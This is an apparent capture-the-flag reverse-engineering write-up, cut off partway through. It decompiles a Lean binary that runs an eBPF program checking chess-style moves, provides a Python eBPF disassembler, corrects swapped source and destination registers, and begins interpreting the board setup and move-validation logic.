if ((r14_2.b & 1) == 0) int32_t rax_17 = *r14_2
if (rax_17 s> 0) *r14_2 = rax_17 + 1 else if (rax_17 != 0) lean_inc_ref_cold(r14_2)
if ((rbx_2.b & 1) == 0) int32_t rax_19 = *rbx_2
if (rax_19 s> 0) *rbx_2 = rax_19 + 1 else if (rax_19 != 0) lean_inc_ref_cold(rbx_2)
if ((c.b & 1) == 0) int32_t rax_21 = *c
if (rax_21 s>= 2) *c = rax_21 - 1 else if (rax_21 != 0) lean_dec_ref_cold(c)
c = lean_alloc_small(0x18, 2) *c = 0x102000000000001 c[1] = rbx_2 c[2] = r14_2else label_4faad3: int32_t* rbx_1 = c[1]27 collapsed lines
if ((rbx_1.b & 1) == 0) int32_t rax_4 = *rbx_1
if (rax_4 s> 0) *rbx_1 = rax_4 + 1 else if (rax_4 != 0) lean_inc_ref_cold(rbx_1)
int32_t* r14_1 = c[2]
if ((r14_1.b & 1) == 0) int32_t rax_6 = *r14_1
if (rax_6 s> 0) *r14_1 = rax_6 + 1 else if (rax_6 != 0) lean_inc_ref_cold(r14_1)
if ((c.b & 1) == 0) int32_t rax_8 = *c
if (rax_8 s>= 2) *c = rax_8 - 1 else if (rax_8 != 0) lean_dec_ref_cold(c)
int32_t* rax_10 = l_String_splitAux___at_main___spec__2(rbx_1, 1, 1, 1)9 collapsed lines
if ((rbx_1.b & 1) == 0) int32_t rax_11 = *rbx_1
if (rax_11 s>= 2) *rbx_1 = rax_11 - 1 else if (rax_11 != 0) lean_dec_ref_cold(rbx_1)
c = l_IO_FS_readFile(_/tmp/moves.txt)23 collapsed lines
if ((c.b & 1) == 0) if (zx.d(*(c + 7)) == 0) goto label_4fac24
goto label_4fab74
if ((c u>> 1).d != 0) label_4fab74:
if ((rax_10.b & 1) != 0) goto label_4fab8b
int32_t rax_15 = *rax_10
if (rax_15 s>= 2) *rax_10 = rax_15 - 1 else if (rax_15 != 0) lean_dec_ref_cold(rax_10)
goto label_4fab8b
label_4fac24: int32_t* r12_1 = c[1]27 collapsed lines
if ((r12_1.b & 1) == 0) int32_t rax_27 = *r12_1
if (rax_27 s> 0) *r12_1 = rax_27 + 1 else if (rax_27 != 0) lean_inc_ref_cold(r12_1)
int32_t* r15_1 = c[2]
if ((r15_1.b & 1) == 0) int32_t rax_29 = *r15_1
if (rax_29 s> 0) *r15_1 = rax_29 + 1 else if (rax_29 != 0) lean_inc_ref_cold(r15_1)
if ((c.b & 1) == 0) int32_t rax_31 = *c
if (rax_31 s>= 2) *c = rax_31 - 1 else if (rax_31 != 0) lean_dec_ref_cold(c)
int32_t* rax_33 = l_String_splitAux___at_main___spec__2(r12_1, 1, 1, 1)9 collapsed lines
if ((r12_1.b & 1) == 0) int32_t rax_34 = *r12_1
if (rax_34 s>= 2) *r12_1 = rax_34 - 1 else if (rax_34 != 0) lean_dec_ref_cold(r12_1)
int32_t* rax_36 = l_List_mapTR_loop___at_main___spec__3(rax_33, 1)19 collapsed lines
if ((rax_36.b & 1) == 0) if (zx.d(*(rax_36 + 7)) == 0) goto label_4fae91
goto label_4faccb
if ((rax_36 u>> 1).d != 0) label_4faccb: int32_t* r12_2 = *(rax_36 + 8)
if ((r12_2.b & 1) == 0) int32_t rax_38 = *r12_2
if (rax_38 s> 0) *r12_2 = rax_38 + 1 else if (rax_38 != 0) lean_inc_ref_cold(r12_2)
int32_t* r13 = *(rax_36 + 0x10)17 collapsed lines
if ((r13.b & 1) == 0) int32_t rax_40 = *r13
if (rax_40 s> 0) *r13 = rax_40 + 1 else if (rax_40 != 0) lean_inc_ref_cold(r13)
if ((rax_36.b & 1) == 0) int32_t rax_42 = *rax_36
if (rax_42 s>= 2) *rax_36 = rax_42 - 1 else if (rax_42 != 0) lean_dec_ref_cold(rax_36)
int64_t* rax_44 = lean_alloc_small(0x20, 3) *rax_44 = -0xaffffffffffffff rax_44[1] = l_main___lambda__2___boxed rax_44[2].d = 0x10002 rax_44[3] = r12_2 int64_t* rax_45 = lean_alloc_small(0x20, 3) *rax_45 = -0xaffffffffffffff rax_45[1] = l_main___lambda__3___boxed rax_45[2].d = 0x10002 rax_45[3] = r13 uint64_t l_main___closed__4_1 = l_main___closed__4 int32_t* rbp_2 = lean_alloc_small(0x28, 4) *rbp_2 = 0x4000000000001 *(rbp_2 + 8) = l_main___closed__4_1 *(rbp_2 + 0x10) = rax_44 *(rbp_2 + 0x18) = rax_45 *(rbp_2 + 0x20) = 1 int32_t* rax_47 = l_List_mapTR_loop___at_runEbpfFromList___spec__1(rax_10, 1) int32_t* rax_48 int128_t zmm0_1 rax_48, zmm0_1 = l_runEbpfFromList_loop(rax_47, rbp_2)9 collapsed lines
if ((rax_47.b & 1) == 0) int32_t rax_49 = *rax_47
if (rax_49 s>= 2) *rax_47 = rax_49 - 1 else if (rax_49 != 0) zmm0_1 = lean_dec_ref_cold(rax_47)
int32_t* rbx_7 = *(rax_48 + 0x10)17 collapsed lines
if ((rbx_7.b & 1) == 0) int32_t rax_51 = *rbx_7
if (rax_51 s> 0) *rbx_7 = rax_51 + 1 else if (rax_51 != 0) lean_inc_ref_cold(rbx_7)
if ((rax_48.b & 1) == 0) int32_t rax_53 = *rax_48
if (rax_53 s>= 2) *rax_48 = rax_53 - 1 else if (rax_53 != 0) zmm0_1 = lean_dec_ref_cold(rax_48)
int32_t* rax_55 = lean_apply_1(rbx_7, 0x3ff, zmm0_1) int64_t rbx_8 = *(rax_55 + 8)9 collapsed lines
if ((rax_55.b & 1) == 0) int32_t rcx_1 = *rax_55
if (rcx_1 s>= 2) *rax_55 = rcx_1 - 1 else if (rcx_1 != 0) lean_dec_ref_cold(rax_55)
if (rbx_8 != 0x1337) return l_IO_print___at_IO_println___spec__1(lean_string_push(Unsuccessful, 0xa)) __tailcall
c = l_IO_print___at_IO_println___spec__1(lean_string_push(Successful run!, 0xa))26 collapsed lines
uint32_t rax_58
if ((c.b & 1) != 0) rax_58 = (c u>> 1).d else rax_58 = zx.d(*(c + 7))
if (rax_58 == 0) int32_t* rbx_9 = c[2]
if ((rbx_9.b & 1) == 0) int32_t rax_70 = *rbx_9
if (rax_70 s> 0) *rbx_9 = rax_70 + 1 else if (rax_70 != 0) lean_inc_ref_cold(rbx_9)
if ((c.b & 1) == 0) int32_t rax_72 = *c
if (rax_72 s>= 2) *c = rax_72 - 1 else if (rax_72 != 0) lean_dec_ref_cold(c)
c = l_IO_FS_readFile(flag.txt)36 collapsed lines
uint32_t rax_75
if ((c.b & 1) != 0) rax_75 = (c u>> 1).d else rax_75 = zx.d(*(c + 7))
if (rax_75 == 0) int32_t* r15_3 = c[1]
if ((r15_3.b & 1) == 0) int32_t rax_84 = *r15_3
if (rax_84 s> 0) *r15_3 = rax_84 + 1 else if (rax_84 != 0) lean_inc_ref_cold(r15_3)
int32_t* r14_4 = c[2]
if ((r14_4.b & 1) == 0) int32_t rax_86 = *r14_4
if (rax_86 s> 0) *r14_4 = rax_86 + 1 else if (rax_86 != 0) lean_inc_ref_cold(r14_4)
if ((c.b & 1) == 0) int32_t rax_88 = *c
if (rax_88 s>= 2) *c = rax_88 - 1 else if (rax_88 != 0) lean_dec_ref_cold(c)
int32_t* l_main___closed__8_1 = l_main___closed__8 int64_t* rax_90 = lean_string_append(l_main___closed__8_1, r15_3)9 collapsed lines
if ((r15_3.b & 1) == 0) int32_t rax_91 = *r15_3
if (rax_91 s>= 2) *r15_3 = rax_91 - 1 else if (rax_91 != 0) lean_dec_ref_cold(r15_3)
return l_IO_print___at_IO_println___spec__1(lean_string_push( lean_string_append(rax_90, l_main___closed__8_1), 0xa)) __tailcall13 collapsed lines
goto label_4fab8b
label_4fae91:
if ((rax_10.b & 1) == 0) int32_t rax_61 = *rax_10
if (rax_61 s>= 2) *rax_10 = rax_61 - 1 else if (rax_61 != 0) lean_dec_ref_cold(rax_10)
c = l_IO_print___at_IO_println___spec__1(lean_string_push(No moves found!, 0xa))53 collapsed lines
uint32_t rax_65
if ((c.b & 1) != 0) rax_65 = (c u>> 1).d else rax_65 = zx.d(*(c + 7))
int32_t rcx_4 = *c
if (rax_65 == 0) if (rcx_4 != 1) int32_t* rbx_10 = c[2]
if ((rbx_10.b & 1) == 0) int32_t rax_78 = *rbx_10
if (rax_78 s> 0) *rbx_10 = rax_78 + 1 else if (rax_78 != 0) lean_inc_ref_cold(rbx_10)
if ((c.b & 1) == 0) int32_t rax_80 = *c
if (rax_80 s>= 2) *c = rax_80 - 1 else if (rax_80 != 0) lean_dec_ref_cold(c)
c = lean_alloc_small(0x18, 2) *c = 0x2000000000001 c[1] = 1 c[2] = rbx_10 else int32_t* rdi_17 = c[1]
if ((rdi_17.b & 1) != 0) c[1] = 1 else int32_t rax_76 = *rdi_17
if (rax_76 s< 2) if (rax_76 != 0) lean_dec_ref_cold(rdi_17)
c[1] = 1 else *rdi_17 = rax_76 - 1 c[1] = 1 else if (rcx_4 != 1) goto label_4fab92
return cEssentially, the program reads in a EBPF program from program.bpf as well as a list of moves from /tmp/moves.txt. It then runs the EBPF program with the moves as input, and if the program returns 0x1337, it print the flag.
This means our goal is to figure out what the EBPF program does, and how to get it to return 0x1337.
Without going into too much detail, the l_List_mapTR_loop___at_runEbpfFromList___spec__1 and l_runEbpfFromList_loop functions take in the list of integers from program.bpf, convert them from Lean’s native natural number representation to a uint64, extract the EBPF program from the numbers, then finally executes it in a loop, continually interpreting the current EBPF instruction and executing it until the program terminates.
thanks gemini
Unfortunately, if we try to convert the EBPF program ourselves and run standard disassembly tools on it, we immediately get an error. Instead of trying to chase down this rabbit hole, I instead had Gemini create a Python disassembly script for me:
#!/usr/bin/env python3
import structfrom enum import Enum, auto
class BPFClass(Enum):13 collapsed lines
LD = 0x00 LDX = 0x01 ST = 0x02 STX = 0x03 ALU = 0x04 JMP = 0x05 RET = 0x06 ALU64 = 0x07 # These are BPF_JMP32, BPF_ALU32 in more recent kernels UNUSED1 = 0x08 UNUSED2 = 0x09 # BPF extensions MISC = 0xF0
class BPFSize(Enum):4 collapsed lines
W = 0x00 # 32-bit H = 0x08 # 16-bit B = 0x10 # 8-bit DW = 0x18 # 64-bit
class BPFMode(Enum):7 collapsed lines
IMM = 0x00 ABS = 0x20 IND = 0x40 MEM = 0x60 LEN = 0x80 MSH = 0xa0 XADD = 0xc0
class BPFALU(Enum):14 collapsed lines
ADD = 0x00 SUB = 0x10 MUL = 0x20 DIV = 0x30 OR = 0x40 AND = 0x50 LSH = 0x60 RSH = 0x70 NEG = 0x80 MOD = 0x90 XOR = 0xa0 MOV = 0xb0 ARSH = 0xc0 END = 0xd0
class BPFSource(Enum):2 collapsed lines
K = 0x00 # 32-bit immediate X = 0x08 # Index register
class BPFJump(Enum):14 collapsed lines
JA = 0x00 JEQ = 0x10 JGT = 0x20 JGE = 0x30 JSET = 0x40 JNE = 0x50 JSGT = 0x60 JSGE = 0x70 CALL = 0x80 EXIT = 0x90 JLT = 0xa0 JLE = 0xb0 JSLT = 0xc0 JSLE = 0xd0
def format_immediate(imm): """Format immediate value with ASCII representation if printable."""3 collapsed lines
if 32 <= imm <= 126: # Printable ASCII range return f"{imm} ('{chr(imm)}')" return f"{imm}"
def decode_instruction(i, instruction): """Decode a BPF instruction from a 64-bit integer."""106 collapsed lines
# eBPF instruction format: # op:8, dst:4, src:4, off:16, imm:32 # Extract fields from the instruction op = (instruction & 0xFF) dst_reg = ((instruction >> 8) & 0xF) src_reg = ((instruction >> 12) & 0xF) offset = struct.unpack('h', struct.pack('H', (instruction >> 16) & 0xFFFF))[0] # Signed 16-bit imm = struct.unpack('i', struct.pack('I', (instruction >> 32) & 0xFFFFFFFF))[0] # Signed 32-bit
# Decode opcode opcode = op & 0x07 # class src_type = op & 0x08 # src
# Extract instruction class try: bpf_class = BPFClass(opcode) except ValueError: return f"Unknown instruction class: {opcode:x}"
# Decode instruction based on class if bpf_class == BPFClass.ALU or bpf_class == BPFClass.ALU64: alu_op = op & 0xf0 src_type = op & 0x08 try: alu_operation = BPFALU(alu_op) src_name = "X" if src_type else "K" class_name = "ALU64" if bpf_class == BPFClass.ALU64 else "ALU"
if alu_operation == BPFALU.NEG: return f"{alu_operation.name} r{dst_reg}" else: if src_type: src_val = f"r{src_reg}" else: src_val = format_immediate(imm) return f"{alu_operation.name} r{dst_reg} {src_val}" except ValueError: return f"Unknown ALU operation: {alu_op:x}"
elif bpf_class == BPFClass.JMP: jmp_op = op & 0xf0 src_type = op & 0x08 try: jump_operation = BPFJump(jmp_op) if jump_operation == BPFJump.CALL: return f"CALL {imm}" elif jump_operation == BPFJump.EXIT: return "EXIT" elif jump_operation == BPFJump.JA: return f"JA {offset} ({i + offset})" else: if src_type: src_val = f"r{src_reg}" else: src_val = format_immediate(imm) return f"{jump_operation.name} r{dst_reg}, {src_val}, {offset}" except ValueError: return f"Unknown jump operation: {jmp_op:x}"
elif bpf_class == BPFClass.LD or bpf_class == BPFClass.LDX: size = op & 0x18 mode = op & 0xe0 try: size_name = BPFSize(size).name mode_name = BPFMode(mode).name class_name = "LD" if bpf_class == BPFClass.LD else "LDX"
if mode == BPFMode.IMM.value: # print(src_type, src_reg) return f"LD {size_name}/IMM r{dst_reg}, r{src_reg}" elif mode == BPFMode.MEM.value: if bpf_class == BPFClass.LDX: src_desc = f"r{src_reg}" else: src_desc = format_immediate(imm) return f"{size_name}/MEM r{dst_reg}, [r{src_reg}{'+'+str(offset) if offset else ''}]" else: val = offset if offset else imm return f"{size_name}/{mode_name} r{dst_reg}, {format_immediate(val)}" except ValueError: return f"Unknown LD/LDX mode or size: mode={mode:x}, size={size:x}"
elif bpf_class == BPFClass.ST or bpf_class == BPFClass.STX: size = op & 0x18 mode = op & 0xe0 try: size_name = BPFSize(size).name mode_name = BPFMode(mode).name class_name = "ST" if bpf_class == BPFClass.ST else "STX"
if mode == BPFMode.MEM.value: if bpf_class == BPFClass.ST: value = format_immediate(imm) else: value = f"r{src_reg}" return f"{size_name}/MEM [r{dst_reg}{'+'+str(offset) if offset else ''}], {value}" elif mode == BPFMode.XADD.value: return f"XADD [r{dst_reg}{'+'+str(offset) if offset else ''}], r{src_reg}" else: val = offset if offset else imm return f"ST {size_name}/{mode_name} [r{dst_reg}], {format_immediate(val)}" except ValueError: return f"Unknown ST/STX mode or size: mode={mode:x}, size={size:x}"
else: return f"Unhandled instruction class: {bpf_class.name}, op={op:x}, dst={dst_reg}, src={src_reg}, off={offset}, imm={imm}"
def main(): with open('program.bpf', 'r') as f: instructions = [int(line.strip()) for line in f.readlines() if line.strip()]
print("Disassembled BPF program:") print("-------------------------")
for i, instr in enumerate(instructions): decoded = decode_instruction(i, instr) print(f"{i:4d}: {instr:16x} {decoded}")
if __name__ == "__main__": main()If we run this with our given program, we get the following output
Disassembled BPF program:-------------------------140 collapsed lines
0: 3000000004 ADD r0 48 ('0') 1: 3800001004 ADD r0 56 ('8') 2: 5000000002 ST W/IMM [r0], 80 ('P') 3: 100000004 ADD r0 1 4: fffe015d JNE r1, r0, -2 5: 5200000002 ST W/IMM [r0], 82 ('R') 6: 100000004 ADD r0 1 7: 4b00000002 ST W/IMM [r0], 75 ('K') 8: 100000004 ADD r0 1 9: 4200000002 ST W/IMM [r0], 66 ('B') 10: 100000004 ADD r0 1 11: 5100000002 ST W/IMM [r0], 81 ('Q') 12: 100000004 ADD r0 1 13: 5700000002 ST W/IMM [r0], 87 ('W') 14: 100000004 ADD r0 1 15: 4200000002 ST W/IMM [r0], 66 ('B') 16: 100000004 ADD r0 1 17: 4b00000002 ST W/IMM [r0], 75 ('K') 18: 100000004 ADD r0 1 19: 5200000002 ST W/IMM [r0], 82 ('R') 20: a01 LD W/IMM r10, r0 21: 15 JEQ r0, 0, 0 22: 10bc MOV r0 r1 23: ff00001054 AND r0 255 24: 800000074 RSH r0 8 25: 20bc MOV r0 r2 26: ff00002054 AND r0 255 27: 800000074 RSH r0 8 28: 30bc MOV r0 r3 29: ff00003054 AND r0 255 30: 800000074 RSH r0 8 31: 100001014 SUB r0 1 32: 4100002014 SUB r0 65 ('A') 33: 800001024 MUL r0 8 34: 41bc MOV r1 r4 35: 420c ADD r2 r4 36: 50bc MOV r0 r5 37: ff00005054 AND r0 255 38: 800000074 RSH r0 8 39: 60bc MOV r0 r6 40: ff00006054 AND r0 255 41: 800000074 RSH r0 8 42: 70bc MOV r0 r7 43: ff00007054 AND r0 255 44: 800000074 RSH r0 8 45: 100005014 SUB r0 1 46: 4100006014 SUB r0 65 ('A') 47: 800005024 MUL r0 8 48: 85bc MOV r5 r8 49: 860c ADD r6 r8 50: 375d JNE r7, r3, 0 51: 401 LD W/IMM r4, r0 52: 35d JNE r3, r0, 0 53: 5000083055 JNE r0, 80 ('P'), 8 54: 48bd JLE r8, r4, 0 55: 80a5 JLT r0, 0, 0 56: 4000008035 JGE r0, 64 ('@'), 0 57: 4bc MOV r4 r0 58: 81c SUB r8 r0 59: 800000055 JNE r0, 8, 0 60: 470005 JA 71 (131) 61: 5200043055 JNE r0, 82 ('R'), 4 62: 2151d JEQ r5, r1, 2 63: 265d JNE r6, r2, 0 64: 430005 JA 67 (131) 65: 4b00103055 JNE r0, 75 ('K'), 16 66: 215ad JLT r5, r1, 2 67: 3152d JGT r5, r1, 3 68: 511c SUB r1 r5 69: 30005 JA 3 (72) 70: 151c SUB r5 r1 71: 51bc MOV r1 r5 72: 3262d JGT r6, r2, 3 73: 621c SUB r2 r6 74: 30005 JA 3 (77) 75: 261c SUB r6 r2 76: 62bc MOV r2 r6 77: 200025055 JNE r0, 2, 2 78: 100006055 JNE r0, 1, 0 79: 200006055 JNE r0, 2, 0 80: 330005 JA 51 (131) 81: 4200103055 JNE r0, 66 ('B'), 16 82: 80a5 JLT r0, 0, 0 83: 4000008035 JGE r0, 64 ('@'), 0 84: 3152d JGT r5, r1, 3 85: 511c SUB r1 r5 86: 30005 JA 3 (89) 87: 151c SUB r5 r1 88: 51bc MOV r1 r5 89: 300005074 RSH r0 3 90: 3262d JGT r6, r2, 3 91: 621c SUB r2 r6 92: 30005 JA 3 (95) 93: 261c SUB r6 r2 94: 62bc MOV r2 r6 95: 565d JNE r6, r5, 0 96: 230005 JA 35 (131) 97: 5100123055 JNE r0, 81 ('Q'), 18 98: 80a5 JLT r0, 0, 0 99: 4000008035 JGE r0, 64 ('@'), 0 100: e151d JEQ r5, r1, 14 101: d261d JEQ r6, r2, 13 102: 3152d JGT r5, r1, 3 103: 511c SUB r1 r5 104: 30005 JA 3 (107) 105: 151c SUB r5 r1 106: 51bc MOV r1 r5 107: 300005074 RSH r0 3 108: 3262d JGT r6, r2, 3 109: 621c SUB r2 r6 110: 30005 JA 3 (113) 111: 261c SUB r6 r2 112: 62bc MOV r2 r6 113: 565d JNE r6, r5, 0 114: 110005 JA 17 (131) 115: 5700003055 JNE r0, 87 ('W'), 0 116: 80a5 JLT r0, 0, 0 117: 4000008035 JGE r0, 64 ('@'), 0 118: 3152d JGT r5, r1, 3 119: 511c SUB r1 r5 120: 30005 JA 3 (123) 121: 151c SUB r5 r1 122: 51bc MOV r1 r5 123: 300005074 RSH r0 3 124: 3262d JGT r6, r2, 3 125: 621c SUB r2 r6 126: 30005 JA 3 (129) 127: 261c SUB r6 r2 128: 62bc MOV r2 r6 129: 560c ADD r6 r5 130: 100005055 JNE r0, 1, 0 131: 1002 ST W/IMM [r0], 0 132: 801 LD W/IMM r8, r0 133: 5a00050015 JEQ r0, 90 ('Z'), 5 134: 4002 ST W/IMM [r0], 0 135: 8303 ST W/IMM [r3], 0 136: 10000a004 ADD r0 1 137: ff8b0005 JA -117 (20) 138: 1ff00009004 ADD r0 511 139: 133700009002 ST W/IMM [r0], 4919While it looks pretty reasonable, there a few bits that seem off.
For example, the chunk
20: a01 LD W/IMM r10, r0 21: 15 JEQ r0, 0, 0 22: 10bc MOV r0 r1 23: ff00001054 AND r0 255 24: 800000074 RSH r0 8 25: 20bc MOV r0 r2 26: ff00002054 AND r0 255 27: 800000074 RSH r0 8 28: 30bc MOV r0 r3 29: ff00003054 AND r0 255 30: 800000074 RSH r0 8 31: 100001014 SUB r0 1 32: 4100002014 SUB r0 65 ('A')Seems like it should be extracting the bytes of some given number that was loaded in, but it’s moves values into r0 from registers that weren’t previously set. This is pretty odd behavior, and would make a lot more sense if it were the other way around.
This part, along with some other parts, led me to believe that the source and destination registers were swapped in the program or interpreter itself.
With a bit of debugging and trial and error, I confirmed this to be the case, so with a quick edit to Gemini’s output, we can finally disassemble the program correctly:
def decode_instruction(i, instruction): """Decode a BPF instruction from a 64-bit integer.""" # eBPF instruction format: # op:8, dst:4, src:4, off:16, imm:32 # Extract fields from the instruction op = (instruction & 0xFF) dst_reg = ((instruction >> 8) & 0xF) src_reg = ((instruction >> 12) & 0xF) src_reg = ((instruction >> 8) & 0xF) dst_reg = ((instruction >> 12) & 0xF) offset = struct.unpack('h', struct.pack('H', (instruction >> 16) & 0xFFFF))[0] # Signed 16-bit imm = struct.unpack('i', struct.pack('I', (instruction >> 32) & 0xFFFFFFFF))[0] # Signed 32-bitHere’s the final correct to the best of my knowledge disassembly:
Disassembled BPF program:-------------------------140 collapsed lines
0: 3000000004 ADD r0 48 ('0') 1: 3800001004 ADD r1 56 ('8') 2: 5000000002 ST W/IMM [r0], 80 ('P') 3: 100000004 ADD r0 1 4: fffe015d JNE r0, r1, -2 5: 5200000002 ST W/IMM [r0], 82 ('R') 6: 100000004 ADD r0 1 7: 4b00000002 ST W/IMM [r0], 75 ('K') 8: 100000004 ADD r0 1 9: 4200000002 ST W/IMM [r0], 66 ('B') 10: 100000004 ADD r0 1 11: 5100000002 ST W/IMM [r0], 81 ('Q') 12: 100000004 ADD r0 1 13: 5700000002 ST W/IMM [r0], 87 ('W') 14: 100000004 ADD r0 1 15: 4200000002 ST W/IMM [r0], 66 ('B') 16: 100000004 ADD r0 1 17: 4b00000002 ST W/IMM [r0], 75 ('K') 18: 100000004 ADD r0 1 19: 5200000002 ST W/IMM [r0], 82 ('R') 20: a01 LD W/IMM r0, r10 21: 15 JEQ r0, 0, 0 22: 10bc MOV r1 r0 23: ff00001054 AND r1 255 24: 800000074 RSH r0 8 25: 20bc MOV r2 r0 26: ff00002054 AND r2 255 27: 800000074 RSH r0 8 28: 30bc MOV r3 r0 29: ff00003054 AND r3 255 30: 800000074 RSH r0 8 31: 100001014 SUB r1 1 32: 4100002014 SUB r2 65 ('A') 33: 800001024 MUL r1 8 34: 41bc MOV r4 r1 35: 420c ADD r4 r2 36: 50bc MOV r5 r0 37: ff00005054 AND r5 255 38: 800000074 RSH r0 8 39: 60bc MOV r6 r0 40: ff00006054 AND r6 255 41: 800000074 RSH r0 8 42: 70bc MOV r7 r0 43: ff00007054 AND r7 255 44: 800000074 RSH r0 8 45: 100005014 SUB r5 1 46: 4100006014 SUB r6 65 ('A') 47: 800005024 MUL r5 8 48: 85bc MOV r8 r5 49: 860c ADD r8 r6 50: 375d JNE r3, r7, 0 51: 401 LD W/IMM r0, r4 52: 35d JNE r0, r3, 0 53: 5000083055 JNE r3, 80 ('P'), 8 54: 48bd JLE r4, r8, 0 55: 80a5 JLT r8, 0, 0 56: 4000008035 JGE r8, 64 ('@'), 0 57: 4bc MOV r0 r4 58: 81c SUB r0 r8 59: 800000055 JNE r0, 8, 0 60: 470005 JA 71 (131) 61: 5200043055 JNE r3, 82 ('R'), 4 62: 2151d JEQ r1, r5, 2 63: 265d JNE r2, r6, 0 64: 430005 JA 67 (131) 65: 4b00103055 JNE r3, 75 ('K'), 16 66: 215ad JLT r1, r5, 2 67: 3152d JGT r1, r5, 3 68: 511c SUB r5 r1 69: 30005 JA 3 (72) 70: 151c SUB r1 r5 71: 51bc MOV r5 r1 72: 3262d JGT r2, r6, 3 73: 621c SUB r6 r2 74: 30005 JA 3 (77) 75: 261c SUB r2 r6 76: 62bc MOV r6 r2 77: 200025055 JNE r5, 2, 2 78: 100006055 JNE r6, 1, 0 79: 200006055 JNE r6, 2, 0 80: 330005 JA 51 (131) 81: 4200103055 JNE r3, 66 ('B'), 16 82: 80a5 JLT r8, 0, 0 83: 4000008035 JGE r8, 64 ('@'), 0 84: 3152d JGT r1, r5, 3 85: 511c SUB r5 r1 86: 30005 JA 3 (89) 87: 151c SUB r1 r5 88: 51bc MOV r5 r1 89: 300005074 RSH r5 3 90: 3262d JGT r2, r6, 3 91: 621c SUB r6 r2 92: 30005 JA 3 (95) 93: 261c SUB r2 r6 94: 62bc MOV r6 r2 95: 565d JNE r5, r6, 0 96: 230005 JA 35 (131) 97: 5100123055 JNE r3, 81 ('Q'), 18 98: 80a5 JLT r8, 0, 0 99: 4000008035 JGE r8, 64 ('@'), 0 100: e151d JEQ r1, r5, 14 101: d261d JEQ r2, r6, 13 102: 3152d JGT r1, r5, 3 103: 511c SUB r5 r1 104: 30005 JA 3 (107) 105: 151c SUB r1 r5 106: 51bc MOV r5 r1 107: 300005074 RSH r5 3 108: 3262d JGT r2, r6, 3 109: 621c SUB r6 r2 110: 30005 JA 3 (113) 111: 261c SUB r2 r6 112: 62bc MOV r6 r2 113: 565d JNE r5, r6, 0 114: 110005 JA 17 (131) 115: 5700003055 JNE r3, 87 ('W'), 0 116: 80a5 JLT r8, 0, 0 117: 4000008035 JGE r8, 64 ('@'), 0 118: 3152d JGT r1, r5, 3 119: 511c SUB r5 r1 120: 30005 JA 3 (123) 121: 151c SUB r1 r5 122: 51bc MOV r5 r1 123: 300005074 RSH r5 3 124: 3262d JGT r2, r6, 3 125: 621c SUB r6 r2 126: 30005 JA 3 (129) 127: 261c SUB r2 r6 128: 62bc MOV r6 r2 129: 560c ADD r5 r6 130: 100005055 JNE r5, 1, 0 131: 1002 ST W/IMM [r1], 0 132: 801 LD W/IMM r0, r8 133: 5a00050015 JEQ r0, 90 ('Z'), 5 134: 4002 ST W/IMM [r4], 0 135: 8303 ST W/IMM [r8], 0 136: 10000a004 ADD r10 1 137: ff8b0005 JA -117 (20) 138: 1ff00009004 ADD r9 511 139: 133700009002 ST W/IMM [r9], 4919ebpf chess fun
If you haven’t already guessed, this emulates a sort of chess program. We have P for the pawns, then R, K, B, Q, and W for the rooks, knights, bishops, queens, and kings respectively.
We can split up this program into a few seperate sections.
First, the initial section sets up the board by placing a row of 8 pawns, then the back rank of what we can assume is our pieces. It places these spanning positions 48-63 in memory, which is 2 rows of 8 pieces.
0: 3000000004 ADD r0 48 ('0') 1: 3800001004 ADD r1 56 ('8') 2: 5000000002 ST W/IMM [r0], 80 ('P') 3: 100000004 ADD r0 1 4: fffe015d JNE r0, r1, -2
5: 5200000002 ST W/IMM [r0], 82 ('R') 6: 100000004 ADD r0 1 7: 4b00000002 ST W/IMM [r0], 75 ('K') 8: 100000004 ADD r0 1 9: 4200000002 ST W/IMM [r0], 66 ('B') 10: 100000004 ADD r0 1 11: 5100000002 ST W/IMM [r0], 81 ('Q') 12: 100000004 ADD r0 1 13: 5700000002 ST W/IMM [r0], 87 ('W') 14: 100000004 ADD r0 1 15: 4200000002 ST W/IMM [r0], 66 ('B') 16: 100000004 ADD r0 1 17: 4b00000002 ST W/IMM [r0], 75 ('K') 18: 100000004 ADD r0 1 19: 5200000002 ST W/IMM [r0], 82 ('R')Next, we have a section that loads in a number from r10, exits if its 0, otherwise breaks it up byte by byte into r1 through r7, with each register storing a different part of the number.
A look back at the binary shows that loading from r10 actually loads from the list of integers passed in from /tmp/moves.txt, so this is the part that parses the move input into the actual moves.
20: a01 LD W/IMM r0, r10 21: 15 JEQ r0, 0, 0
22: 10bc MOV r1 r0 23: ff00001054 AND r1 255 24: 800000074 RSH r0 8
25: 20bc MOV r2 r0 26: ff00002054 AND r2 255 27: 800000074 RSH r0 8
28: 30bc MOV r3 r0 29: ff00003054 AND r3 255 30: 800000074 RSH r0 8
31: 100001014 SUB r1 1 32: 4100002014 SUB r2 65 ('A') 33: 800001024 MUL r1 8 34: 41bc MOV r4 r1 35: 420c ADD r4 r2
36: 50bc MOV r5 r0 37: ff00005054 AND r5 255 38: 800000074 RSH r0 8
39: 60bc MOV r6 r0 40: ff00006054 AND r6 255 41: 800000074 RSH r0 8
42: 70bc MOV r7 r0 43: ff00007054 AND r7 255 44: 800000074 RSH r0 8
45: 100005014 SUB r5 1 46: 4100006014 SUB r6 65 ('A') 47: 800005024 MUL r5 8 48: 85bc MOV r8 r5 49: 860c ADD r8 r6
50: 375d JNE r3, r7, 0A move consists of 6 bytes, the first 2 denoting the start position, the 3rd and last being the piece that is to be moved, and the 4th and 5th being the end position.
The positions are encoded with the first byte being the rank, and the second being the file, which is represented by the first byte being subtracted by 1, then multiplied by 8, and the second byte being subtracted by A. These are then added together to get the final position in memory.
Next, the program loads in the piece currently stored at the position on the board, then checks that it is equal to the provided piece in the move. After this, there are move checks for the various pieces to ensure they follow their normal movement patterns, which is done in a if-else like fashion, with comparisons for each piece having its own block.
51: 401 LD W/IMM r0, r4 52: 35d JNE r0, r3, 0
53: 5000083055 JNE r3, 80 ('P'), 87 collapsed lines
54: 48bd JLE r4, r8, 0 55: 80a5 JLT r8, 0, 0 56: 4000008035 JGE r8, 64 ('@'), 0 57: 4bc MOV r0 r4 58: 81c SUB r0 r8 59: 800000055 JNE r0, 8, 0 60: 470005 JA 71 (131)
61: 5200043055 JNE r3, 82 ('R'), 43 collapsed lines
62: 2151d JEQ r1, r5, 2 63: 265d JNE r2, r6, 0 64: 430005 JA 67 (131)
65: 4b00103055 JNE r3, 75 ('K'), 1615 collapsed lines
